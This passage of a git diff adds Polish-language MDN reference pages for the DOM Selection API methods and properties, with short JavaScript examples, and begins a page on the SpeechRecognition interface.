id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.collapse(<i>parentNode</i>,<i>offset</i>); +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<dl> + <dt> + <i> + <code>parentNode</code></i> + </dt> + <dd> + Kursor znajdzie się w tym węźle.</dd> +</dl> +<dl> + <dt> + <i> + <code>offset</code></i> + </dt> + <dd> + Kursor zostanie umieszczony w tej odległości od początku węzła tekstowego + <i> + <code>parentNode</code></i> + .</dd> +</dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="eval">/* Umieszcza kursor na początku ciała dokumentu HTML. */ +var body = document.getElementsByTagName("body")[0]; +window.getSelection().collapse(body,0); +</pre> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/collapse", "es": "es/DOM/Selection/collapse", "it": "it/DOM/Selection/collapse" } ) }}</p> diff --git a/files/pl/web/api/selection/collapsetoend/index.html b/files/pl/web/api/selection/collapsetoend/index.html new file mode 100644 index 0000000000..e7897ea59a --- /dev/null +++ b/files/pl/web/api/selection/collapsetoend/index.html @@ -0,0 +1,22 @@ +--- +title: collapseToEnd +slug: Web/API/Selection/collapseToEnd +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/collapseToEnd +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Przesuwa kotwicę zaznaczenia do pozycji, w której znajduje się skupienie. Samo skupienie nie zmienia swojego położenia. Jeżeli treść jest aktywna i edytowalna, pojawi się tam kursor.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.collapseToEnd() +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<p>Brak.</p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/collapseToEnd", "es": "es/DOM/Selection/collapseToEnd", "it": "it/DOM/Selection/collapseToEnd" } ) }}</p> diff --git a/files/pl/web/api/selection/collapsetostart/index.html b/files/pl/web/api/selection/collapsetostart/index.html new file mode 100644 index 0000000000..0dfdc92468 --- /dev/null +++ b/files/pl/web/api/selection/collapsetostart/index.html @@ -0,0 +1,22 @@ +--- +title: collapseToStart +slug: Web/API/Selection/collapseToStart +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/collapseToStart +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Przesuwa skupienie zaznaczenia do położenia kotwicy. Sama kotwica nie zmienia swojego położenia. Jeżeli treść jest aktywna i edytowalna, przeniesie się tam kursor.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.collapseToStart() +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<p>Brak.</p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/collapseToStart", "es": "es/DOM/Selection/collapseToStart", "it": "it/DOM/Selection/collapseToStart" } ) }}</p> diff --git a/files/pl/web/api/selection/containsnode/index.html b/files/pl/web/api/selection/containsnode/index.html new file mode 100644 index 0000000000..c73f0ae763 --- /dev/null +++ b/files/pl/web/api/selection/containsnode/index.html @@ -0,0 +1,47 @@ +--- +title: containsNode +slug: Web/API/Selection/containsNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/containsNode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Sprawdza czy węzeł jest częścią zaznaczenia.</p> +<h3 id="Sk.C5.82adania" name="Sk.C5.82adania">Składania</h3> +<pre class="eval"><i>sel</i>.containsNode(<i>aNode</i>,<i>aPartlyContained</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<dl> + <dt> + <i> + <code>aNode</code></i> + </dt> + <dd> + Węzeł, którego obecność sprawdzamy.</dd> + <dt> + <i> + <code>aPartlyContained</code></i> + </dt> + <dd> + Kiedy jej wartością jest + <i> + true</i> + , <code>containsNode</code> zwraca wartość true kiedy część węzła jest częścią zaznaczenia.</dd> + <dd> + Kiedy jej wartością jest + <i> + false</i> + , <code>containsNode</code> zwraca wartość true tylko i wyłącznie, gdy cały węzeł jest częścią zaznaczenia.</dd> +</dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="eval"> /* Sprawdza czy cokolwiek wewnątrz elementu body jest zaznaczone */ + alert(window.getSelection().containsNode(document.body, true)); +</pre> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/containsNode", "es": "es/DOM/Selection/containsNode", "it": "it/DOM/Selection/containsNode" } ) }}</p> diff --git a/files/pl/web/api/selection/deletefromdocument/index.html b/files/pl/web/api/selection/deletefromdocument/index.html new file mode 100644 index 0000000000..7cc9727ebc --- /dev/null +++ b/files/pl/web/api/selection/deletefromdocument/index.html @@ -0,0 +1,24 @@ +--- +title: deleteFromDocument +slug: Web/API/Selection/deleteFromDocument +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/deleteFromDocument +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Usuwa rzeczywisty tekst będący reprezentacją zaznaczenia z DOM dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.deleteFromDocument() +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<p>Brak.</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<p>Użytkownik na stronie internetowej zaznacza tekst "mają dwoje" ze zdania "Króliki mają dwoje uszu". Następnie klika na przycisk, który wywołuje kod JavaScript <code>window.getSelection().deleteFromDocument()</code>. Tekst dokumentu staje się zdaniem "Króliki uszu".</p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/deleteFromDocument", "es": "es/DOM/Selection/deleteFromDocument", "it": "it/DOM/Selection/deleteFromDocument" } ) }}</p> diff --git a/files/pl/web/api/selection/extend/index.html b/files/pl/web/api/selection/extend/index.html new file mode 100644 index 0000000000..fbec1f5eb5 --- /dev/null +++ b/files/pl/web/api/selection/extend/index.html @@ -0,0 +1,40 @@ +--- +title: extend +slug: Web/API/Selection/extend +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/extend +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Przemieszcza skupienie zaznaczenia do podanego miejsca. Kotwica zaznaczenia nie zmienia swojego położenia. Zaznaczenie będzie miało koniec w nowym miejscu skupienia bez względu na kierunek zaznaczania.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.extend(<i>parentNode</i>,<i>offset</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<dl> + <dt> + <i> + <code>parentNode</code></i> + </dt> + <dd> + Węzeł, w którym skupienie zmieni swoje położenie.</dd> +</dl> +<dl> + <dt> + <i> + <code>offset</code></i> + </dt> + <dd> + Pozycja od początku węzła tekstowego + <i> + <code>parentNode</code></i> + , gdzie zostanie umieszczone skupienie.</dd> +</dl> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/extend", "es": "es/DOM/Selection/extend", "it": "it/DOM/Selection/extend" } ) }}</p> diff --git a/files/pl/web/api/selection/focusnode/index.html b/files/pl/web/api/selection/focusnode/index.html new file mode 100644 index 0000000000..e59310d0f1 --- /dev/null +++ b/files/pl/web/api/selection/focusnode/index.html @@ -0,0 +1,21 @@ +--- +title: focusNode +slug: Web/API/Selection/focusNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/focusNode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca węzeł, w którym selekcja się kończy.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.focusNode +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Użytkownik może wykonać zaznaczenie od lewej do prawej (w bieg dokumentu) lub od prawej do lewej (odwrotnie od biegu dokumentu). Skupienie znajduje się tam, gdzie użytkownik kończy selekcję. Może to być widoczne, kiedy zostanie przytrzymany klawisz Shift i naciśnięte strzałki na klawiaturze. Skupienie selekcji zmienia swoje położenie, a skupienie selekcji, drugi koniec selekcji, nie.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/focusNode", "es": "es/DOM/Selection/focusNode", "it": "it/DOM/Selection/focusNode" } ) }}</p> diff --git a/files/pl/web/api/selection/focusoffset/index.html b/files/pl/web/api/selection/focusoffset/index.html new file mode 100644 index 0000000000..cba7b76783 --- /dev/null +++ b/files/pl/web/api/selection/focusoffset/index.html @@ -0,0 +1,22 @@ +--- +title: focusOffset +slug: Web/API/Selection/focusOffset +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/focusOffset +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca pozycję, na której skupienie selekcji znajduje się w węźle <a href="pl/DOM/Selection/focusNode">focusNode</a>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.focusOffset +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Liczenie się tej zmiennej zaczyna się od 0. Jeżeli selekcja kończy się z pierwszym znakiem <a href="pl/DOM/Selection/anchorNode">anchorNode</a>, zwracane jest 0.</p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/focusOffset", "es": "es/DOM/Selection/focusOffset", "it": "it/DOM/Selection/focusOffset" } ) }}</p> diff --git a/files/pl/web/api/selection/getrangeat/index.html b/files/pl/web/api/selection/getrangeat/index.html new file mode 100644 index 0000000000..ff4b2c962b --- /dev/null +++ b/files/pl/web/api/selection/getrangeat/index.html @@ -0,0 +1,44 @@ +--- +title: getRangeAt +slug: Web/API/Selection/getRangeAt +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/getRangeAt +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca obiekt zakresu reprezentujący jeden z obecnie zaznaczonych zakresów.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>range</i> =<i>sel</i>.getRangeAt(<i>index</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<dl> + <dt> + <i> + <code>range</code></i> + </dt> + <dd> + Obiekt <a href="pl/DOM/range">zakresu</a>, który zostanie zwrócony.</dd> +</dl> +<dl> + <dt> + <i> + <code>index</code></i> + </dt> + <dd> + Wartość liczbowa liczona od zera. Wartość ujemna, równa albo większa od <a href="pl/DOM/Selection/rangeCount">rangeCount</a> spowoduje wystąpienie błędu.</dd> +</dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="eval">ranges = []; +sel = window.getSelection(); +for(var i = 0; i < sel.rangeCount; i++) { + ranges[i] = sel.getRangeAt(i); +} +/* Każdy element w tablicy zakresów jest teraz + * obiektem zakresu reprezentującym jeden z + * zakresów w aktualnym zaznaczeniu */ +</pre> +<p>{{ languages( { "en": "en/DOM/Selection/getRangeAt", "es": "es/DOM/Selection/getRangeAt" } ) }}</p> diff --git a/files/pl/web/api/selection/index.html b/files/pl/web/api/selection/index.html new file mode 100644 index 0000000000..83e76ccfa9 --- /dev/null +++ b/files/pl/web/api/selection/index.html @@ -0,0 +1,100 @@ +--- +title: Selection +slug: Web/API/Selection +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Selection +--- +<p>{{ ApiRef("DOM") }}{{SeeCompatTable}}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Klasa obiektu zwracanego przez <code><a href="pl/DOM/window.getSelection"> window.getSelection()</a></code> i inne metody.</p> + +<h3 id="Opis" name="Opis">Opis</h3> + +<p>Obiekt reprezentujący <a href="pl/DOM/range">zakresy</a>, które zaznaczył użytkownik. Zazwyczaj przechowuje tylko jeden zakres, który pobieramy następująco:</p> + +<pre class="eval">range = sel.getRangeAt(0); +</pre> + +<p>Wywołanie metody <code><a href="pl/DOM/Selection/toString">toString()</a></code> zwróci tekst znajdujący się wewnątrz zaznaczenia, na przykład:</p> + +<pre class="eval">selObj = window.getSelection(); +window.alert(selObj); +</pre> + +<h3 id="S.C5.82ownik" name="S.C5.82ownik">Słownik</h3> + +<p>Inne kluczowe pojęcia używane w tym dziale.</p> + +<dl> + <dt>kotwica (anchor)</dt> + <dd>Kotwicą zaznaczenia jest jego właściwy początek. Kiedy tworzymy zaznaczenie przy użyciu myszki, kotwica w dokumencie znajduje się dokładnie tam, gdzie początkowo został wciśnięty przycisk myszki. Gdy użytkownik zmienia zaznaczenie używając myszki lub klawiatury, kotwica nie zmienia swego położenia.</dd> + <dt>skupienie (focus)</dt> + <dd>Skupieniem zaznaczenia jest jego właściwy koniec. Kiedy tworzymy zaznaczenie przy użyciu myszki, jej skupienie jest dokładnie tam, gdzie przycisk myszki zostaje zwolniony. Gdy użytkownik zmienia zaznaczenie używając myszki lub klawiatury, skupienie zmienia swe położenie na koniec tego zaznaczenia.</dd> + <dt>zakres (range)</dt> + <dd>Zakres to przyległa część dokumentu. Zakres może zawierać zarówno całe węzły, jak i ich części, jak np. wycinek węzła tekstowego. Użytkownik zazwyczaj wybiera tylko jedno zaznaczenie w danej chwili, jednak możliwe jest zaznaczenie kilku fragmentów na raz (na przykład używając klawisza Control). Zakres może być pobrany z zaznaczenia jako obiekt <a href="pl/DOM/range">zakresu</a>. Obiekty zakresów mogą być również utworzone poprzez DOM i programowo dodane lub usunięte z zaznaczenia.</dd> +</dl> + +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3> + +<dl> + <dt><a href="pl/DOM/Selection/anchorNode">anchorNode</a></dt> + <dd>Zwraca węzeł, w którym rozpoczyna się zaznaczenie.</dd> + <dt><a href="pl/DOM/Selection/anchorOffset">anchorOffset</a></dt> + <dd>Zwraca pozycję, gdzie kotwica zaznaczenia znajduje się w węźle <code>anchorNode</code>.</dd> + <dt><a href="pl/DOM/Selection/focusNode">focusNode</a></dt> + <dd>Zwraca węzeł, w którym kończy się zaznaczenie.</dd> + <dt><a href="pl/DOM/Selection/focusOffset">focusOffset</a></dt> + <dd>Zwraca pozycję, gdzie skupienie zaznaczenia znajduje się w węźle <code>focusNode</code></dd> + <dt><a href="pl/DOM/Selection/isCollapsed">isCollapsed</a></dt> + <dd>Zwraca wartość logiczną wskazującą czy początek zaznaczenia znajduje się w tym samym miejscu, co jego koniec.</dd> + <dt><a href="pl/DOM/Selection/rangeCount">rangeCount</a></dt> + <dd>Zwraca liczbę zakresów znajdujących się w zaznaczeniu.</dd> +</dl> + +<h3 id="Metody" name="Metody">Metody</h3> + +<dl> + <dt><a href="pl/DOM/Selection/getRangeAt">getRangeAt</a></dt> + <dd>Zwraca obiekt zakresu reprezentujący jeden z obecnie zaznaczonych zakresów.</dd> + <dt><a href="pl/DOM/Selection/collapse">collapse</a></dt> + <dd>Zawęża aktualne zaznaczenie do pojedynczego punktu.</dd> + <dt><a href="pl/DOM/Selection/extend">extend</a></dt> + <dd>Przesuwa koniec zaznaczenia do podanego punktu.</dd> + <dt><a href="pl/DOM/Selection/collapseToStart">collapseToStart</a></dt> + <dd>Przesuwa koniec zaznaczenia do tego samego miejsca, w którym znajduje się początek.</dd> + <dt><a href="pl/DOM/Selection/collapseToEnd">collapseToEnd</a></dt> + <dd>Przesuwa początek zaznaczenia do tego samego miejsca, w którym znajduje się koniec. Sam koniec zaznaczenia nie zmienia swojego położenia.</dd> + <dt><a href="pl/DOM/Selection/selectAllChildren">selectAllChildren</a></dt> + <dd>Dodaje wszystkie dzieci podanego węzła do zaznaczenia.</dd> + <dt><a href="pl/DOM/Selection/addRange">addRange</a></dt> + <dd>Obiekt zakresu, który zostanie dodany do zaznaczenia.</dd> + <dt><a href="pl/DOM/Selection/removeRange">removeRange</a></dt> + <dd>Usuwa zakres z zaznaczenia</dd> + <dt><a href="pl/DOM/Selection/removeAllRanges">removeAllRanges</a></dt> + <dd>Usuwa wszystkie zakresy z zaznaczenia.</dd> + <dt><a href="pl/DOM/Selection/deleteFromDocument">deleteFromDocument</a></dt> + <dd>Usuwa zawartość zaznaczenia z dokumentu.</dd> + <dt><a href="pl/DOM/Selection/selectionLanguageChange">selectionLanguageChange</a></dt> + <dd> </dd> + <dt><a href="pl/DOM/Selection/toString">toString</a></dt> + <dd>Zwraca ciąg znaków, który jest obecnie reprezentowany przez obiekt zaznaczenia, tj. aktualnie zaznaczony tekst.</dd> + <dt><a href="pl/DOM/Selection/containsNode">containsNode</a></dt> + <dd>Wskazuje czy konkretny węzeł jest częścią zaznaczenia.</dd> +</dl> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p><a href="pl/DOM/window.getSelection">window.getSelection</a>, <a href="pl/DOM/range">Range</a></p> + +<h3 id="Odno.C5.9Bniki_zewn.C4.99trzne" name="Odno.C5.9Bniki_zewn.C4.99trzne">Odnośniki zewnętrzne</h3> + +<ul> + <li><a class="external" href="http://lxr.mozilla.org/mozilla/source/content/base/public/nsISelection.idl">IDL definition in Mozilla cross-reference</a></li> +</ul> diff --git a/files/pl/web/api/selection/iscollapsed/index.html b/files/pl/web/api/selection/iscollapsed/index.html new file mode 100644 index 0000000000..84b01c648c --- /dev/null +++ b/files/pl/web/api/selection/iscollapsed/index.html @@ -0,0 +1,21 @@ +--- +title: isCollapsed +slug: Web/API/Selection/isCollapsed +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/isCollapsed +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca wartość logiczną, która określa czy początek selekcji znajduje się w tym samym miejscu, co jej koniec.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.isCollapsed +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Nawet załamana selekcja może mieć <code>rangeCount</code> większe niż 0. <code>sel.getRangeAt(0)</code> może zwrócić zakres, który również jest załamany.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/isCollapsed", "es": "es/DOM/Selection/isCollapsed", "it": "it/DOM/Selection/isCollapsed" } ) }}</p> diff --git a/files/pl/web/api/selection/rangecount/index.html b/files/pl/web/api/selection/rangecount/index.html new file mode 100644 index 0000000000..f966cff941 --- /dev/null +++ b/files/pl/web/api/selection/rangecount/index.html @@ -0,0 +1,19 @@ +--- +title: rangeCount +slug: Web/API/Selection/rangeCount +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/rangeCount +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca liczbę zakresów, które znajdują się w zaznaczeniu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.rangeCount +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zaraz po załadowaniu strony, wartość <code>rangeCount</code> wynosi 0. Użytkownik może zazwyczaj wykonać tylko jedno zaznaczenie na raz, dlatego wartość <code>rangeCount</code> z reguły będzie wynosiła 1. Za pomocą skryptu możliwe jest stworzenie zaznaczenia, które zawiera więcej niż jeden zakres.</p> +<p>{{ languages( { "en": "en/DOM/Selection/rangeCount", "es": "es/DOM/Selection/rangeCount", "it": "it/DOM/Selection/rangeCount" } ) }}</p> diff --git a/files/pl/web/api/selection/removeallranges/index.html b/files/pl/web/api/selection/removeallranges/index.html new file mode 100644 index 0000000000..3ba0519f45 --- /dev/null +++ b/files/pl/web/api/selection/removeallranges/index.html @@ -0,0 +1,22 @@ +--- +title: removeAllRanges +slug: Web/API/Selection/removeAllRanges +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/removeAllRanges +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Usuwa wszystkie zakresy, ustawiając własności <a href="pl/DOM/Selection/anchorNode">anchorNode</a> i <a href="pl/DOM/Selection/focusNode">focusNode</a> na <code>null</code> oraz usuwając samo zaznaczenie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.removeAllRanges(); +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<p>Brak.</p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/removeAllRanges", "es": "es/DOM/Selection/removeAllRanges", "it": "it/DOM/Selection/removeAllRanges" } ) }}</p> diff --git a/files/pl/web/api/selection/removerange/index.html b/files/pl/web/api/selection/removerange/index.html new file mode 100644 index 0000000000..24fa532b22 --- /dev/null +++ b/files/pl/web/api/selection/removerange/index.html @@ -0,0 +1,40 @@ +--- +title: removeRange +slug: Web/API/Selection/removeRange +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/removeRange +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Usuwa zakres z zaznaczenia.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.removeRange(<i>range</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<dl> + <dt> + <i> + <code>range</code></i> + </dt> + <dd> + Obiekt zakresu, który będzie usunięty z zaznaczenia.</dd> +</dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="eval">/* Programowo, można wybrać więcej niż jeden zakres. + * Ten przykład usunie wszystkie zakresy oprócz pierwszego.*/ +s = window.getSelection(); +if(s.rangeCount > 1) { + for(var i = 1; i < s.rangeCount; i++) { + s.removeRange(s.getRangeAt(i)); + } +} +</pre> +<p> </p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/removeRange", "es": "es/DOM/Selection/removeRange", "it": "it/DOM/Selection/removeRange" } ) }}</p> diff --git a/files/pl/web/api/selection/selectallchildren/index.html b/files/pl/web/api/selection/selectallchildren/index.html new file mode 100644 index 0000000000..df659530c6 --- /dev/null +++ b/files/pl/web/api/selection/selectallchildren/index.html @@ -0,0 +1,40 @@ +--- +title: selectAllChildren +slug: Web/API/Selection/selectAllChildren +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/selectAllChildren +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Dodaje wszystkie dzieci podanego węzła do zaznaczenia. Poprzednie zaznaczenie jest usuwane.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.selectAllChildren(<i>parentNode</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<dl> + <dt> + <i> + <code>parentNode</code></i> + </dt> + <dd> + Wszystkie dzieci węzła + <i> + <code>parentNode</code></i> + będą wybrane. Samo + <i> + <code>parentNode</code></i> + nie będzie częścią zaznaczenia.</dd> +</dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="eval">footer = document.getElementById("footer"); +window.getSelection().selectAllChildren(footer); +/* Wszystko wewnątrz <code>footer</code> jest teraz wybrane */ +</pre> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/selectAllChildren", "es": "es/DOM/Selection/selectAllChildren", "it": "it/DOM/Selection/selectAllChildren" } ) }}</p> diff --git a/files/pl/web/api/selection/tostring/index.html b/files/pl/web/api/selection/tostring/index.html new file mode 100644 index 0000000000..588c81ec26 --- /dev/null +++ b/files/pl/web/api/selection/tostring/index.html @@ -0,0 +1,35 @@ +--- +title: toString +slug: Web/API/Selection/toString +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/toString +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca ciąg znakowy, który jest obecnie reprezentowany przez obiekt selekcji, tj. aktualnie zaznaczony tekst.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>string</i> =<i>sel</i>.toString() +</pre> +<ul> + <li><code>string</code> jest ciągiem znakowym reprezentującym selekcję.</li> +</ul> +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3> +<p>Brak.</p> +<h3 id="Opis" name="Opis">Opis</h3> +<p>Ta metoda zwraca obecnie zaznaczony tekst.</p> +<p>W <a href="pl/JavaScript">JavaScript</a>, ta metoda jest wywoływana automatycznie, kiedy funkcja, do której przesyłany jest obiekt, oczekuje ciągu znakowego:</p> +<pre class="eval">alert(window.getSelection()) // Co jest wywoływane +alert(window.getSelection().toString()) // Co jest w wywoływane w rzeczywistości +</pre> +<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3> +<ul> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object/toString">Object.toString</a></li> +</ul> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/toString", "es": "es/DOM/Selection/toString", "fr": "fr/DOM/Selection/toString", "it": "it/DOM/Selection/toString" } ) }}</p> diff --git a/files/pl/web/api/speechrecognition/index.html b/files/pl/web/api/speechrecognition/index.html new file mode 100644 index 0000000000..8f41dfb239 --- /dev/null +++ b/files/pl/web/api/speechrecognition/index.html @@ -0,0 +1,153 @@ +--- +title: SpeechRecognition +slug: Web/API/SpeechRecognition +translation_of: Web/API/SpeechRecognition +--- +<p>{{APIRef("Web Speech API")}}{{SeeCompatTable}}</p> + +<p>Interfejs <strong><code>SpeechRecognition</code></strong> jest częścią <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> i kontroluje usługę rozpoznawania mowy. Obsługuje również {{domxref("SpeechRecognitionEvent")}} zwracany przez usługę rozpoznawania mowy.</p> + +<div class="note"> +<p><strong>Uwaga</strong>: Na Chrome użycie Speech Recognition wymaga zastosowania serwera. Dźwięk jest przesyłany do usługi web, więc nie działa offline.</p> +</div> + +<h2 id="Konstruktor">Konstruktor</h2> + +<dl> + <dt>{{domxref("SpeechRecognition.SpeechRecognition()")}}</dt> + <dd>Tworzy nowy obiekt <code>SpeechRecognition</code>.</dd> +</dl> + +<h2 id="Właściwości">Właściwości</h2> + +<p><em><code>SpeechRecognition</code> dziedziczy równiez właściwości z interfejsu rodzica, {{domxref("EventTarget")}}.</em></p> + +<dl> + <dt>{{domxref("SpeechRecognition.grammars")}}</dt> + <dd>Tworzy i zwraca kolekcję obiektów {{domxref("SpeechGrammar")}}, które reprezentują zasady gramatyczne akceptowane przez <code>SpeechRecognition</code>.</dd> + <dt>{{domxref("SpeechRecognition.lang")}}</dt> + <dd>Tworzy i zwraca język bieżącej instacji <code>SpeechRecognition</code>. Jeśli nie zostanie sprecyzowany domyślnie przyjmie wartość z atrybutu {{htmlattrxref("lang","html")}}, a jeśli i on nie został zdefiniowany - z ustawień językowych przeglądarki.</dd> + <dt>{{domxref("SpeechRecognition.continuous")}}</dt> + <dd>Ustawienie przyjęcia ciągłego strumienia mowy lub pojedynczego zwrotu. Domyslnie ustawiony na przyjęcie pojedynczego zwrotu (<code>false</code>.)</dd> + <dt>{{domxref("SpeechRecognition.interimResults")}}</dt> + <dd>Ustawienie kontrolujące zwracanie rezultatów pośrednich. Przyjmuje wartości (<code>true</code>) lub (<code>false</code>.) Rezultat pośredni rozpoznawania mowy to rezultat niepełny, uzyskiwany w trakcie rozpoznawania wypowiedzi (np. kiedy metoda {{domxref("SpeechRecognitionResult.isFinal")}} zwraca <code>false</code>.) </dd> + <dt>{{domxref("SpeechRecognition.maxAlternatives")}}</dt> + <dd>Ustawienie maksymalnej liczby alternatywnych wyników rozpoznawania mowy. Domyślnie - 1.</dd> + 